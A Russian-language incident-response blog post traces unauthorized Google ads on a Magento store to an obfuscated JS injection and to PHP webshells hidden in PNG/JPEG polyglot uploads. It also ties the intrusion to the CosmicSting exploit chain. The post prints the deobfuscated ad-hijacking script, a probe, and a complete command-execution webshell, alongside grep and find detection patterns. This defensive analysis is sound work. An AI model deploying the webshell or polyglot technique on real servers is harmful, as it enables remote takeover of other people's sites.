Неавторизованная реклама на сайте: как найти взлом и веб-шеллы (разбор реального кейса)

Владелец интернет-магазина прислал видео: на сайте иногда вылезает реклама Google, которую он точно не подключал. Ни в настройках, ни в коде — вроде бы ничего необычного. Разобрали этот кейс по шагам: от первой проверки без доступа к серверу до обнаружения работающего веб-шелла с удалённым выполнением команд. Получился практический чек-лист для похожей ситуации.
Шаг 1. Проверка без доступа к серверу
Прежде чем лезть по SSH, есть бесплатный способ проверить домен за секунды — Sucuri SiteCheck (sitecheck.sucuri.net). Он сканирует отдаваемый HTML на известные сигнатуры malware/ad injection и blacklist-статус в Google Safe Browsing. Не требует доступа к серверу, подходит как первый шаг перед тем, как тревожить хостинг.
Шаг 2. Grep по базе данных
Если сайт на CMS (Magento, WordPress, любая другая с хранением конфигурации в БД) — реклама может быть внедрена через настройки, CMS-блоки или виджеты, а не только через файлы. Проверяем типичные места:
-- конфигурация: подозрительные ключи и обфусцированный контент
SELECT path, value FROM core_config_data
WHERE path LIKE '%script%' OR path LIKE '%head%' OR path LIKE '%footer%'
OR value LIKE '%<script%' OR value LIKE '%googlesyndication%'
OR value LIKE '%adsbygoogle%' OR value LIKE '%doubleclick%';
-- CMS-блоки и статичные страницы
SELECT block_id, title FROM cms_block WHERE content LIKE '%<script%';
SELECT page_id, title FROM cms_page WHERE content LIKE '%<script%';
Для WordPress эквивалент — wp_options (поля widget_text, widget_custom_html) и таблица wp_posts на предмет вставленных <script>.
В нашем случае база оказалась чистой: ни adsbygoogle, ни pagead, ни doubleclick, ни push-сетей. Единственная активная Google-интеграция — легитимный Google Tag Manager. Важный момент: если реклама идёт через GTM, конкретный рекламный тег может быть настроен прямо в аккаунте Tag Manager (tagmanager.google.com) — это вообще не хранится в базе сайта, и его нужно проверять отдельно, внутри самого GTM-контейнера.
Шаг 3. Grep по файлам на сервере
Раз в базе чисто, переходим на файловый уровень:
# сигнатуры известных рекламных/malware-сетей в коде
grep -rlE "adsbygoogle|googlesyndication|doubleclick|pagead2|propellerads|popads|onesignal" \
--include="*.php" --include="*.phtml" --include="*.js" /path/to/site/
# обфусцированные инъекции — классический паттерн заражения
grep -rlE "eval\(base64_decode|eval\(gzinflate|eval\(str_rot13" --include="*.php" /path/to/site/
Нашёлся один файл — requirejs/mixins.js в скомпилированной статике темы. Файл маскировался под штатный core-файл (тот же комментарий копирайта), но после него был приклеен упакованный (eval(function(p,a,c,k,e,d)...)) JS-загрузчик.
Расшифровка обфусцированного payload
После деобфускации логика оказалась предельно простой и объясняла, почему реклама выглядела "случайной":
function isFromGoogle() {
return document.referrer.includes('google.'); // пришёл по ссылке из поиска
}
function canShowAd() {
const last = localStorage.getItem('lastAdShown');
const now = Date.now();
if (!last) return true;
return (now - last) >= 7 * 24 * 60 * 60 * 1000; // не чаще раза в неделю на браузер
}
if (isFromGoogle() && canShowAd()) {
const script = document.createElement('script');
script.async = true;
script.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-XXXXXXXXXXXXXXXXX";
script.crossOrigin = "anonymous";
document.head.appendChild(script);
localStorage.setItem('lastAdShown', now);
}
Ключевой инсайт: publisher ID в коде принадлежал не владельцу сайта, а атакующему. Классическая монетизация взломанных сайтов — подставить свой AdSense-аккаунт в чужой трафик и получать выплаты с показов. Условие "только из Google-referrer, не чаще раза в неделю" сделано намеренно, чтобы владелец сайта не поймал проблему при обычном заходе напрямую.
Шаг 4. Ищем точку входа — веб-шеллы
Раз в исходниках темы/модулей (app/, vendor/) той же сигнатуры не нашлось — заражение было разовой правкой скомпилированного файла, а не встроенным бэкдором в поставке темы. Дальше стандартная проверка — недавно изменённые исполняемые файлы и файлы там, где их не должно быть:
# PHP-файлы в папке для загрузки картинок — там их быть не должно
find /path/to/site/pub/media -iname "*.php" -o -iname "*.phtml"
# недавно изменённые файлы
find /path/to/site -name "*.php" -newermt "2026-08-01" -not -path "*/vendor/*"
Нашлось около 90 файлов в директории, куда Magento сохраняет файлы, приложенные покупателем к товару (кастомные опции чекаута) — по идее там должны быть только картинки.
Шаг 5. Анализ находок — PNG/JPEG-полиглоты
Важно: файлы с сервера анализировались только через cat/file, ни один не запускался. Содержимое раскрыло технику атаки — так называемые полиглот-файлы: валидный заголовок PNG/JPEG (проходит проверку типа при загрузке) + PHP-код внутри текстового чанка изображения (tEXtComment у PNG). Если сервер где-то интерпретирует такой файл как PHP — интерпретатор просто сканирует байты на <?php ... ?> независимо от того, что вокруг, и выполняет код.
Среди файлов оказалось несколько типов:
Зонды (проверяют, исполняется ли файл как PHP):
<?php echo 'PROBE_'.'OK_'.PHP_VERSION; ?>
Маркеры инструмента (текстовый комментарий в PNG, без кода — "здесь получилось", оставлено автоматическим тулом):
tEXtComment: Nxploited-Here
Несколько таких маркеров с разными датами за 4 месяца — значит один и тот же инструмент/скан периодически перепроверял доступ.
Рабочий веб-шелл — полноценное удалённое выполнение команд ОС:
<?php @error_reporting(0); @set_time_limit(0);
if (isset($_REQUEST['c'])) {
$cmd = $_REQUEST['c'];
if (function_exists('system')) { @system($cmd); }
elseif (function_exists('shell_exec')) { echo @shell_exec($cmd . ' 2>&1'); }
elseif (function_exists('exec')) { @exec($cmd, $out); echo implode("\n", $out); }
elseif (function_exists('passthru')) { @passthru($cmd); }
}
?>
И отдельно — файл, который злоупотреблял внутренним error-процессором Magento, форсируя подключение произвольного файла через Magento\Framework\Error\ProcessorFactory. Эта конкретная техника (загрузка "картинки" с PHP-полезной нагрузкой в предсказуемый media-путь + форсирование её подключения через error-обработчик) практически один в один совпадает с публично описанной цепочкой эксплуатации CosmicSting (CVE-2024-34102) — XXE+LFI уязвимости в Magento/Adobe Commerce, массово эксплуатировавшейся ботами с 2024 года на непропатченных инсталляциях.
Почему прямое исполнение шеллов не сработало
При проверке access-логов почти все попытки вызвать эти файлы напрямую по HTTP отдавали 403. Причина — штатный .htaccess Magento в этой директории (Require all denied), который блокирует прямой доступ по умолчанию. Это важный урок: наличие защитного .htaccess не означает, что взлома не было — файлы были загружены (уязвимость в приёме файлов реальна и требует патча), но конкретно эти попытки исполнения оказались заблокированы базовой защитой. Реальный вектор, которым атакующий всё же получил RCE (судя по совпадению с CosmicSting — вероятно через REST API, а не прямой запрос к файлу), в доступных логах ротации не сохранился.
Чек-лист: что делать по порядку
Когда патчить, а когда нет
Если система в любом случае скоро выводится из эксплуатации (например, идёт миграция на новую платформу и старый сервер будет удалён) — тратить время на полный патч устаревшей CMS часто непропорционально усилиям. Но есть вещи, которые переживают сам сервер и требуют внимания независимо от сроков:
- API-ключи платёжных шлюзов — рабочий ключ продолжает функционировать и после удаления сервера, если его не отозвать
- Пароли, переиспользуемые в других системах — если тот же пароль стоит на новом окружении
- Данные клиентов в базе — если есть основания считать, что база могла быть прочитана через RCE, это уже вопрос не техники, а того, нужно ли информировать пользователей
Дешёвый способ снизить риск на оставшийся срок жизни системы без полного патчинга — ограничить доступ к административным путям по IP через .htaccess, пока сайт не выведен из эксплуатации.
Итог
Неавторизованная реклама на сайте — это почти никогда "просто реклама". Она либо симптом более широкого заражения (как в этом случае — рабочий веб-шелл с RCE), либо явный признак скомпрометированного администраторского доступа. Расследование стоит вести по уровням — от базы данных до файловой системы — и не останавливаться на первом найденном файле: обфусцированный JS в теме был лишь верхушкой, а настоящая проблема (открытая уязвимость с историей эксплуатации за несколько месяцев) обнаружилась только после того, как нашли и статически проанализировали сами загруженные файлы.
Частые вопросы
Почему неавторизованная реклама показывается не всем посетителям сайта?
Часто инъекция специально ограничена условием (например, показывать только тем, кто пришёл из поиска Google, и не чаще раза в неделю на браузер через localStorage). Это сделано, чтобы владелец сайта дольше не заметил проблему при обычных проверках.
С чего начать поиск источника рекламы на сайте?
С бесплатного онлайн-сканера (например, Sucuri SiteCheck) без доступа к серверу. Дальше — grep по базе данных (CMS-блоки, конфиги, виджеты) и по файлам темы/плагинов на сигнатуры adsbygoogle, googlesyndication, doubleclick, eval(base64_decode.
Что такое PNG/JPEG-полиглот в контексте веб-шеллов?
Файл, который начинается с валидного заголовка картинки (проходит проверку типа файла при загрузке), но содержит PHP-код внутри текстового чанка (например, tEXtComment у PNG). Если сервер интерпретирует такой файл как PHP, код выполнится, несмотря на то что файл выглядит как изображение.
Стоит ли патчить уязвимость, если сайт всё равно скоро будет выведен из эксплуатации?
Полный патчинг обычно не стоит усилий. Но credentials, которые переживают сервер (API-ключи платёжного шлюза, пароли, переиспользуемые в других системах), нужно ротировать в любом случае — они продолжают работать и после удаления старого сервера.
Автор
Alex RelFullstack Engineer
В коммерческой разработке с 2011 года — больше 15 лет. Автор двух SaaS-продуктов: TeleGo.io и LingvoHabit.com. Статьи здесь выросли из реальной клиентской и продуктовой работы.



